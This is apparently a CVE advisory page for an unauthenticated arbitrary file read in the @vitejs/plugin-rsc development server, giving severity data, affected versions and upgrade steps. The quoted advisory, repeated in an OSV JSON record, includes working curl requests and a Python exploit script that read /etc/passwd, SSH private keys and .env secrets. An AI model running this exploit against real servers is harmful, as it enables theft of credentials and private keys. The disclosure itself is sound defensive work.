CVE-2025-68155: @vitejs/plugin rsc Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-g239-q96q-x4qm
CVSS 7.5
CWE-73 CWE-22
Published
Advisory Summary

CVE-2025-68155 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-73: External Control of File Name or Path) affecting @vitejs/plugin rsc libraries in the npm ecosystem. The issue involves @vitejs/plugin-rsc has an arbitrary file read via `/__vite_rsc_findsourcemapurl` endpoint. Remediation is available by upgrading affected packages to version 0.5.8.

CVE-2025-68155 at a Glance

CVE Identifier CVE-2025-68155
GHSA Identifier GHSA-g239-q96q-x4qm
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-73: External Control of File Name or Path
Affected Product @vitejs/plugin rsc
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2025-68155

To remediate this vulnerability, upgrade all affected @vitejs/plugin rsc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@vitejs/plugin-rsc fixed: 0.5.8
npm install @vitejs/plugin-rsc@0.5.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @vitejs/plugin-rsc

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-68155, inspect your project dependencies using npm:

npm ls @vitejs/plugin-rsc

Analyze the terminal output to locate any version of @vitejs/plugin rsc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.8), your application is affected.

Note: The npm ls @vitejs/plugin-rsc command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In @vitejs/plugin rsc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/__vite_rsc_findSourceMapURL` endpoint in `@vitejs/plugin-rsc` allows **unauthenticated arbitrary file read** during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a `file://` URL in the `filename` query parameter. **Severity:** High **Attack Vector:** Network **Privileges Required:** None **Scope:** Development mode only (`vite dev`) --- ## Impact ### Who Is Affected? - **All developers** using `@vitejs/plugin-rsc` during development - Projects running `vite dev` with the RSC plugin enabled ### Attack Scenarios 1. **Network-Exposed Dev Servers:** When developers run `vite --host 0.0.0.0` (common for mobile testing), attackers on the same network can read files. 2. ~**XSS-Based Attacks:**~ ~If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.~ 3. ~**Malicious Dependencies:** ~ ~A compromised npm package could include code that reads files during development.~ 4. ~**DNS Rebinding:**~ (EDIT: This doesn't apply since https://github.com/vitejs/vite/pull/20222) ~An attacker could use DNS rebinding to access the localhost dev server from a malicious website.~ ### What Can Be Leaked? - Environment files (`.env`, `.env.local`, `.env.production`) - SSH keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`) - Cloud credentials (`~/.aws/credentials`, `~/.config/gcloud/`) - Database passwords and API keys - Source code from other projects - System files (`/etc/passwd`, `/etc/shadow` if readable) --- ## Details ### Vulnerable Code Location **File:** `packages/plugin-rsc/src/plugins/find-source-map-url.ts` **Lines:** 49-61 The vulnerability exists in the `findSourceMapURL` function: ```typescript async function findSourceMapURL( server: ViteDevServer, filename: string, environmentName: string, ): Promise<object | undefined> { // this is likely server external (i.e. outside of Vite processing) if (filename.startsWith('file://')) { filename = fileURLToPath(filename) if (fs.existsSync(filename)) { // line-by-line identity source map const content = fs.readFileSync(filename, 'utf-8') // ← ARBITRARY FILE READ return { version: 3, sources: [filename], sourcesContent: [content], // ← FILE CONTENTS LEAKED HERE mappings: 'AAAA' + ';AACA'.repeat(content.split('\n').length), } } return } // ... rest of the function } ``` ### Root Cause The endpoint: 1. Accepts a user-controlled `filename` parameter from the query string (line 20) 2. Checks if it starts with `file://` (line 49) 3. Converts it to a filesystem path using `fileURLToPath()` (line 50) 4. Reads the file with `fs.readFileSync()` **without any path validation** (line 53) 5. Returns the file contents in the JSON response (line 57) **No validation is performed** to ensure the requested file is within the project directory or is a legitimate source file. --- ## PoC ### Quick Test (Single Command) If you have a Vite dev server running with `@vitejs/plugin-rsc`, you can test immediately: ```bash curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server' ``` **Expected output** (file contents in `sourcesContent`): ```json { "version": 3, "sources": ["/etc/passwd"], "sourcesContent": ["root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/sbin:..."], "mappings": "AAAA;AACA;AACA;..." } ``` <details><summary>Further details of PoC</summary> ### Complete PoC with Docker For a fully reproducible environment, I've prepared a complete PoC: #### Step 1: Create a minimal `vite.config.ts` ```typescript import { defineConfig } from 'vite' import react from '@vitejs/plugin-rsc' export default defineConfig({ plugins: [ react({ serverHandler: false, }), ], }) ``` #### Step 2: Create `package.json` ```json { "name": "poc-vite-rsc-file-read", "version": "1.0.0", "private": true, "type": "module", "scripts": { "dev": "vite --host 0.0.0.0" }, "dependencies": { "react": "^19.0.0", "react-dom": "^19.0.0" }, "devDependencies": { "@vitejs/plugin-rsc": "latest", "vite": "^6.0.0" } } ``` #### Step 3: Create minimal `index.html` and `src/main.tsx` **index.html:** ```html <!DOCTYPE html> <html> <body> <div id="root"></div> <script type="module" src="/src/main.tsx"></script> </body> </html> ``` **src/main.tsx:** ```tsx import React from 'react' import ReactDOM from 'react-dom/client' ReactDOM.createRoot(document.getElementById('root')!).render(<div>PoC</div>) ``` #### Step 4: Start the server and exploit ```bash # Install and start pnpm install pnpm dev # In another terminal, exploit: curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server' ``` ### Python Exploit Script For easier testing, here's a Python script: ```python #!/usr/bin/env python3 """Exploit: Arbitrary File Read via /__vite_rsc_findSourceMapURL""" import json import sys import urllib.request import urllib.parse def read_file(host, port, file_path): """Read a file from the target server via the vulnerability.""" url = f"http://{host}:{port}/__vite_rsc_findSourceMapURL" params = urllib.parse.urlencode({ 'filename': f'file://{file_path}', 'environmentName': 'Server' }) try: with urllib.request.urlopen(f"{url}?{params}", timeout=10) as response: data = json.loads(response.read().decode('utf-8')) if 'sourcesContent' in data and data['sourcesContent']: return data['sourcesContent'][0] except Exception as e: return f"Error: {e}" return None if __name__ == '__main__': host = sys.argv[1] if len(sys.argv) > 1 else 'localhost' port = sys.argv[2] if len(sys.argv) > 2 else '5173' file_path = sys.argv[3] if len(sys.argv) > 3 else '/etc/passwd' content = read_file(host, port, file_path) if content: print(f"[+] Successfully read {file_path}:") print("-" * 60) print(content) print("-" * 60) else: print(f"[-] Failed to read {file_path}") ``` **Usage:** ```bash python3 exploit.py localhost 5173 /etc/passwd python3 exploit.py localhost 5173 /root/.ssh/id_rsa python3 exploit.py localhost 5173 /home/user/.env ``` ### Verified Exploitation Results I tested this in a Docker container and successfully read: | File | Description | |------|-------------| | `/etc/passwd` | System user accounts | | `/etc/hosts` | Network configuration | | `/root/.env.secret` | Environment secrets | | `/root/.ssh/id_rsa` | SSH private keys | | `/proc/self/environ` | Process environment variables | | Source code files | Any file in the filesystem | **Example output from `/etc/passwd`:** ``` root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin node:x:1000:1000::/home/node:/bin/sh ``` **Example output from sensitive secrets file:** ``` SECRET_API_KEY=sk-live-very-secret-key-12345 DB_PASSWORD=super_secret_password AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY ``` </details> ---

CVE-2025-68155 Affected @vitejs/plugin rsc Versions

1 component(s)
Fixed Versions:
0.5.8
Product / Package Ecosystem Affected Versions Fixed Version
@vitejs/plugin-rsc
npm
< 0.5.8
0.5.8

References

Frequently Asked Questions

What is CVE-2025-68155?
CVE-2025-68155 is a security vulnerability in @vitejs/plugin rsc involving @vitejs/plugin-rsc has an Arbitrary File Read via `/__vite_rsc_findSourceMapURL` Endpoint under CWE-73: External Control of File Name or Path.
Which @vitejs/plugin rsc versions are affected?
Affected versions include releases prior to 0.5.8 across affected packages: @vitejs/plugin-rsc.
What version fixes CVE-2025-68155?
Upgrading to 0.5.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @vitejs/plugin-rsc affected?
Yes, @vitejs/plugin-rsc is affected in releases prior to 0.5.8. Upgrade your dependency to 0.5.8 or later.
What is the CVSS score of CVE-2025-68155?
CVE-2025-68155 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2025-68155?
CVE-2025-68155 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check npm dependencies for CVE-2025-68155?
Run the dependency tree command: 'npm ls @vitejs/plugin-rsc'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g239-q96q-x4qm",
  "modified" : "2025-12-16T22:32:27Z",
  "published" : "2025-12-16T22:32:26Z",
  "aliases" : [ "CVE-2025-68155" ],
  "summary" : "@vitejs/plugin-rsc has an Arbitrary File Read via `/__vite_rsc_findSourceMapURL` Endpoint",
  "details" : "## Summary\n\nThe `/__vite_rsc_findSourceMapURL` endpoint in `@vitejs/plugin-rsc` allows **unauthenticated arbitrary file read** during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a `file://` URL in the `filename` query parameter.\n\n**Severity:** High\n**Attack Vector:** Network  \n**Privileges Required:** None  \n**Scope:** Development mode only (`vite dev`)\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All developers** using `@vitejs/plugin-rsc` during development\n- Projects running `vite dev` with the RSC plugin enabled\n\n### Attack Scenarios\n\n1. **Network-Exposed Dev Servers:**  \n   When developers run `vite --host 0.0.0.0` (common for mobile testing), attackers on the same network can read files.\n\n2. ~**XSS-Based Attacks:**~\n   ~If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.~\n\n3. ~**Malicious Dependencies:** ~\n   ~A compromised npm package could include code that reads files during development.~\n\n4. ~**DNS Rebinding:**~ (EDIT: This doesn't apply since https://github.com/vitejs/vite/pull/20222)\n   ~An attacker could use DNS rebinding to access the localhost dev server from a malicious website.~\n\n### What Can Be Leaked?\n\n- Environment files (`.env`, `.env.local`, `.env.production`)\n- SSH keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`)\n- Cloud credentials (`~/.aws/credentials`, `~/.config/gcloud/`)\n- Database passwords and API keys\n- Source code from other projects\n- System files (`/etc/passwd`, `/etc/shadow` if readable)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `packages/plugin-rsc/src/plugins/find-source-map-url.ts`  \n**Lines:** 49-61\n\nThe vulnerability exists in the `findSourceMapURL` function:\n\n```typescript\nasync function findSourceMapURL(\n  server: ViteDevServer,\n  filename: string,\n  environmentName: string,\n): Promise<object | undefined> {\n  // this is likely server external (i.e. outside of Vite processing)\n  if (filename.startsWith('file://')) {\n    filename = fileURLToPath(filename)\n    if (fs.existsSync(filename)) {\n      // line-by-line identity source map\n      const content = fs.readFileSync(filename, 'utf-8')  // ← ARBITRARY FILE READ\n      return {\n        version: 3,\n        sources: [filename],\n        sourcesContent: [content],  // ← FILE CONTENTS LEAKED HERE\n        mappings: 'AAAA' + ';AACA'.repeat(content.split('\\n').length),\n      }\n    }\n    return\n  }\n  // ... rest of the function\n}\n```\n\n### Root Cause\n\nThe endpoint:\n1. Accepts a user-controlled `filename` parameter from the query string (line 20)\n2. Checks if it starts with `file://` (line 49)\n3. Converts it to a filesystem path using `fileURLToPath()` (line 50)\n4. Reads the file with `fs.readFileSync()` **without any path validation** (line 53)\n5. Returns the file contents in the JSON response (line 57)\n\n**No validation is performed** to ensure the requested file is within the project directory or is a legitimate source file.\n\n---\n\n## PoC\n\n### Quick Test (Single Command)\n\nIf you have a Vite dev server running with `@vitejs/plugin-rsc`, you can test immediately:\n\n```bash\ncurl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'\n```\n\n**Expected output** (file contents in `sourcesContent`):\n\n```json\n{\n  \"version\": 3,\n  \"sources\": [\"/etc/passwd\"],\n  \"sourcesContent\": [\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/sbin:...\"],\n  \"mappings\": \"AAAA;AACA;AACA;...\"\n}\n```\n\n<details><summary>Further details of PoC</summary>\n\n### Complete PoC with Docker\n\nFor a fully reproducible environment, I've prepared a complete PoC:\n\n#### Step 1: Create a minimal `vite.config.ts`\n\n```typescript\nimport { defineConfig } from 'vite'\nimport react from '@vitejs/plugin-rsc'\n\nexport default defineConfig({\n  plugins: [\n    react({\n      serverHandler: false,\n    }),\n  ],\n})\n```\n\n#### Step 2: Create `package.json`\n\n```json\n{\n  \"name\": \"poc-vite-rsc-file-read\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vite --host 0.0.0.0\"\n  },\n  \"dependencies\": {\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"devDependencies\": {\n    \"@vitejs/plugin-rsc\": \"latest\",\n    \"vite\": \"^6.0.0\"\n  }\n}\n```\n\n#### Step 3: Create minimal `index.html` and `src/main.tsx`\n\n**index.html:**\n```html\n<!DOCTYPE html>\n<html>\n  <body>\n    <div id=\"root\"></div>\n    <script type=\"module\" src=\"/src/main.tsx\"></script>\n  </body>\n</html>\n```\n\n**src/main.tsx:**\n```tsx\nimport React from 'react'\nimport ReactDOM from 'react-dom/client'\nReactDOM.createRoot(document.getElementById('root')!).render(<div>PoC</div>)\n```\n\n#### Step 4: Start the server and exploit\n\n```bash\n# Install and start\npnpm install\npnpm dev\n\n# In another terminal, exploit:\ncurl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'\n```\n\n### Python Exploit Script\n\nFor easier testing, here's a Python script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Exploit: Arbitrary File Read via /__vite_rsc_findSourceMapURL\"\"\"\n\nimport json\nimport sys\nimport urllib.request\nimport urllib.parse\n\ndef read_file(host, port, file_path):\n    \"\"\"Read a file from the target server via the vulnerability.\"\"\"\n    url = f\"http://{host}:{port}/__vite_rsc_findSourceMapURL\"\n    params = urllib.parse.urlencode({\n        'filename': f'file://{file_path}',\n        'environmentName': 'Server'\n    })\n    \n    try:\n        with urllib.request.urlopen(f\"{url}?{params}\", timeout=10) as response:\n            data = json.loads(response.read().decode('utf-8'))\n            if 'sourcesContent' in data and data['sourcesContent']:\n                return data['sourcesContent'][0]\n    except Exception as e:\n        return f\"Error: {e}\"\n    return None\n\nif __name__ == '__main__':\n    host = sys.argv[1] if len(sys.argv) > 1 else 'localhost'\n    port = sys.argv[2] if len(sys.argv) > 2 else '5173'\n    file_path = sys.argv[3] if len(sys.argv) > 3 else '/etc/passwd'\n    \n    content = read_file(host, port, file_path)\n    if content:\n        print(f\"[+] Successfully read {file_path}:\")\n        print(\"-\" * 60)\n        print(content)\n        print(\"-\" * 60)\n    else:\n        print(f\"[-] Failed to read {file_path}\")\n```\n\n**Usage:**\n```bash\npython3 exploit.py localhost 5173 /etc/passwd\npython3 exploit.py localhost 5173 /root/.ssh/id_rsa\npython3 exploit.py localhost 5173 /home/user/.env\n```\n\n### Verified Exploitation Results\n\nI tested this in a Docker container and successfully read:\n\n| File | Description |\n|------|-------------|\n| `/etc/passwd` | System user accounts |\n| `/etc/hosts` | Network configuration |\n| `/root/.env.secret` | Environment secrets |\n| `/root/.ssh/id_rsa` | SSH private keys |\n| `/proc/self/environ` | Process environment variables |\n| Source code files | Any file in the filesystem |\n\n**Example output from `/etc/passwd`:**\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nnode:x:1000:1000::/home/node:/bin/sh\n```\n\n**Example output from sensitive secrets file:**\n\n```\nSECRET_API_KEY=sk-live-very-secret-key-12345\nDB_PASSWORD=super_secret_password\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n```\n\n</details>\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@vitejs/plugin-rsc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-g239-q96q-x4qm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68155"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/facebook/react/pull/29708"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/facebook/react/pull/30741"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vitejs/vite-plugin-react/commit/582fba0b9a52b13fcff6beaaa3bfbd532bc5359d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vitejs/vite-plugin-react"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-16T22:32:26Z",
    "nvd_published_at" : "2025-12-16T19:16:00Z"
  }
}